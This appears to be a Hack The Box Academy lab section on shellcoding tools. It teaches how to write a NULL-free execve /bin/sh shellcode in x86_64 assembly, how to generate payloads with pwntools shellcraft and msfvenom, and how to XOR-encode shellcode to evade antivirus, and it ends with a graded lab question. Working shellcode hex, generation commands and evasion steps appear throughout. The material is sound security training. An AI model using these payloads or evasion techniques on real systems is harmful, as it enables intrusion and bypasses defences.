



Shellcoding Tools

We should now be able to modify our code and make it `shellcode` compatible, such that it meets all `Shellcoding Requirements`. This understanding is crucial for crafting our own shellcodes and minimizing their size, which may become very handy when dealing with Binary Exploitation, especially when we don't have a lot of room for a large shellcode.

In certain other cases, we may not need to write our own shellcode every time, as a similar shellcode may already exist, or we can use tools to generate our shellcode, so we don't have to reinvent the wheel.

We will come across many common shellcodes through Binary Exploitation, like a `Reverse Shell` shellcode or a `/bin/sh` shellcode. We can find many shellcodes that perform these functions, which we may be able to use with minimal or no modification. We can also use tools to generate both of these shellcodes.

For either of these, we must be sure to use a shellcode that matches our target Operating System and Processor Architecture.

Shell Shellcode

Before we continue with tools and online resources, let's try to craft our own `/bin/sh` shellcode. To do so, we can use the `execve` syscall with syscall number `59`, which allows us to execute a system application:

```
kimvutrinh@htb[/htb]$ man -s 2 execve
```

```
int execve(const char *pathname, char *const argv[], char *const envp[]);
```

As we can see, the `execve` syscall accepts 3 arguments. We need to execute `/bin/sh` `/bin/sh`, which would drop us in a `sh` shell. So, our final function will be:

```
execve("/bin//sh", ["/bin//sh"], NULL)
```

So, we'll set our arguments as:

1. `rax` -> `59` (`execve` syscall number)
2. `rdi` -> `['/bin//sh']` (pointer to program to execute)
3. `rsi` -> `['/bin//sh']` (list of pointers for arguments)
4. `rdx` -> `NULL` (no environment variables)

Note: We added an extra `/` in `['/bin//sh']` so that the total character count is 8, which fills up a 64-bit register, so we don't have to worry about clearing the register beforehand or dealing with any leftovers. Any extra slashes are ignored in Linux, so this is a handy trick to even the total character count when needed, and it is used a lot in binary exploitation.

Using the same concepts we learned for calling a syscall, the following assembly code should execute the syscall we need:

```
nasm

global _start

section .text
_start:
    mov rax, 59      ; execve syscall number
    push 0           ; push NULL string terminator
    mov rdi, '/bin//sh' ; first arg to /bin/sh
    push rdi         ; push to stack
    mov rdi, rsp     ; move pointer to ['/bin//sh']
    push 0           ; push NULL string terminator
    push rdi         ; push second arg to ['/bin//sh']
    mov rsi, rsp     ; pointer to args
    mov rdx, 0       ; set env to NULL
    syscall
```

As we can see, we pushed two (NULL-terminated) `'/bin//sh'` strings and then moved their pointers to `rdi` and `rsi`. We should know by now that the above assembly code will not produce a working shellcode since it contains NULL bytes.

Try to remove all NULL bytes from the above assembly code to produce a working shellcode.

Click to show the answer

Once we fix our code, we can run `shellcoder.py` on it, and have a shellcode with no NULL bytes:

```
kimvutrinh@htb[/htb]$ python3 shellcoder.py sh
```

```
b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05
```

```
27 bytes - No NULL bytes
```

Try running the above shellcode with `loader.py` to see if it works and drops us in a shell. Now let's try to get another shellcode for `/bin/sh`, using shellcode generation tools.

Shellcraft

Let's start with our usual tools, `pwntools`, and use its `shellcraft` library, which generates a shellcode for various `syscalls`. We can list `syscalls` the tool accepts as follows:

```
kimvutrinh@htb[/htb]$ pwn shellcraft -l 'amd64.linux'
```

```
...SNIP...
```

```
amd64.linux.sh
```

We see the `amd64.linux.sh` syscall, which would drop us into a shell like our above shellcode. We can generate its shellcode as follows:

```
kimvutrinh@htb[/htb]$ pwn shellcraft amd64.linux.sh
```

```
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d2
```

Note that this shellcode is not as optimized and short as our shellcode. We can run the shellcode by adding the `-r` flag:

```
shellsession
kimvutrinh@htb[/htb]$ pwn shellcraft amd64.linux.sh -r

$ whoami

root
```

And it works as expected. Furthermore, we can use the `Python3` interpreter to unlock `shellcraft` fully and use advanced syscalls with arguments. First, we can list all available syscalls with `dir(shellcraft)`, as follows:

```
shellsession
kimvutrinh@htb[/htb]$ python3

>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> dir(shellcraft)

[...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]
```

Let's use the `execve` syscall like we did above to drop in a shell, as follows:

```
shellsession
>>> syscall = shellcraft.execve(path='/bin/sh',argv=['/bin/sh']) # syscall and args
>>> asm(syscall).hex() # print shellcode
```

```
'48b80101010101010101015048b82e63686f2e726901483104244889e748b8010101010101015048b82e6'
```

We can find a complete list of `x86_64` accepted syscalls and their arguments on [this link](#). We can now try running this shellcode with `loader.py` :

```
shellsession
kimvutrinh@htb[/htb]$ python3 loader.py
'48b80101010101010101015048b82e63686f2e726901483104244889e748b8010101010101015048b82e6'

$ whoami

root
```

And it works as expected.

Msfvenom

Let's try `msfvenom`, which is another common tool we can use for shellcode generation. Once again, we can list various available payloads for `Linux` and `x86_64` with:

```
shellsession
kimvutrinh@htb[/htb]$ msfvenom -l payloads | grep 'linux/x64'

linux/x64/exec          Execute an arbitrary command
...SNIP...
```

The `exec` payload allows us to execute a command we specify. Let's pass `/bin/sh/` for the `CMD`, and test the shellcode we get:

```
shellsession
kimvutrinh@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform
'linux' -f 'hex'

No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of hex file: 96 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05
```

Note that this shellcode is also not as optimized and short as our shellcode. Let's try running this shellcode with our `loader.py` script:

```
shellsession
kimvutrinh@htb[/htb]$ python3 loader.py
'6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05 '

$ whoami

root
```



This shellcode works as well. Try testing other types of syscalls and payloads in `shellcraft` and `msfvenom`

Shellcode Encoding

Another great benefit of using these tools is to encode our shellcodes without manually writing our encoders. Encoding shellcodes can become a handy feature for systems with anti-virus or certain security protections. However, it must be noted that shellcodes encoded with common encoders may be easy to detect.

We can use `msfvenom` to encode our shellcodes as well. We can first list available encoders:

```
shellsession
kimvutrinh@htb[/htb]$ msfvenom -l encoders

Framework Encoders [--encoder <value>]
=====
      Name                      Rank      Description
      ----                      -
cmd/brace                      low       Bash Brace Expansion Command Encoder
cmd/echo                       good      Echo Command Encoder

<SNIP>
```

Then we can pick one for `x64`, like `x64/xor`, and use it with the `-e` flag, as follows:

```
shellsession
kimvutrinh@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform
'linux' -f 'hex' -e 'x64/xor'

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
```

Final size of hex file: 174 bytes

4831c94881e9faaaaaaaaa488d05effffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a73

Let's try running the encoded shellcode to see if it runs:

```
shellsession
kimvutrinh@htb[/htb]$ python3 loader.py
'4831c94881e9faaaaaaaaa488d05effffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7

$ whoami

root
```

As we can see, the encoded shellcode works as well while being a little bit less detectable by security monitoring tools.

Tip: We can encode our shellcode multiple times with the `-i COUNT` flag, and specify the number of iterations we want.

We see that the encoded shellcode is always significantly larger than the non-encoded one since encoding a shellcode adds a built-in decoder for runtime decoding. It may also encode each byte multiple times, which increases its size at every iteration.

If we had a custom shellcode that we wrote, we could use `msfvenom` to encode it as well, by writing its bytes to a file and then passing it to `msfvenom` with `-p -`, as follows:

```
shellsession
```

```
kimvutrinh@htb[/htb]$ python3 -c "import sys;
sys.stdout.buffer.write(bytes.fromhex('b03b4831d25248bf2f62696e2f2f7368574889e75257488e
> shell.bin
kimvutrinh@htb[/htb]$ msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'
< shell.bin
```

Attempting to read payload from STDIN...

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x64/xor

x64/xor succeeded with size 71 (iteration=0)

x64/xor chosen with final size 71

Payload size: 71 bytes

Final size of hex file: 142 bytes

4831c94881e9fcffffffff488d05effffffffff48bb5a63e4e17d0bac1348315827482df8ffffffe2f4ea58acd0



As we can see, our payload was encoded and became much larger as well.

Shellcode Resources

Finally, we can always search online resources like [Shell-Storm](#) or [Exploit DB](#) for existing shellcodes.

For example, if we search [Shell-Storm](#) for a `/bin/sh` shellcode on `Linux/x86_64`, we will find several examples of varying sizes, like this [27-bytes shellcode](#). We can search [Exploit DB](#) for the same, and we find a more optimized [22-bytes shellcode](#), which can be helpful if our Binary Exploitation only had around 22-bytes of overflow space. We can also search for encoded shellcodes, which are bound to be larger.

The shellcode we wrote above is 27-bytes long as well, so it looks to be a very optimized shellcode. With all of that, we should be comfortable with writing, generating, and using shellcodes.

Connect to HTB



Pwnbox

Your own web-based Parrot Linux instance to play our labs.



Switching Pwnbox location will terminate the spawned Pwnbox.

Pwnbox Location

UK



Start Pwnbox

∞ spawns left

• Offline

Target(s)

Spawn the target system to get IPs and answer questions

🔌 Spawn the target system



Enable step-by-step solutions ⓘ PRO

⚠️ Answer questions in English to ensure an accurate response.

Question 1

📦 +1

🏆 +40



The above server simulates an exploitable server you can execute shellcodes on. Use one of the tools to generate a shellcode that prints the content of '/flag.txt', then connect to the server with "nc SERVER_IP PORT" to send the shellcode.

Write your answer

🚩 Submit

 Hint

← Previous

Section 23 / 24

 +20

Next

Mark Complete & Next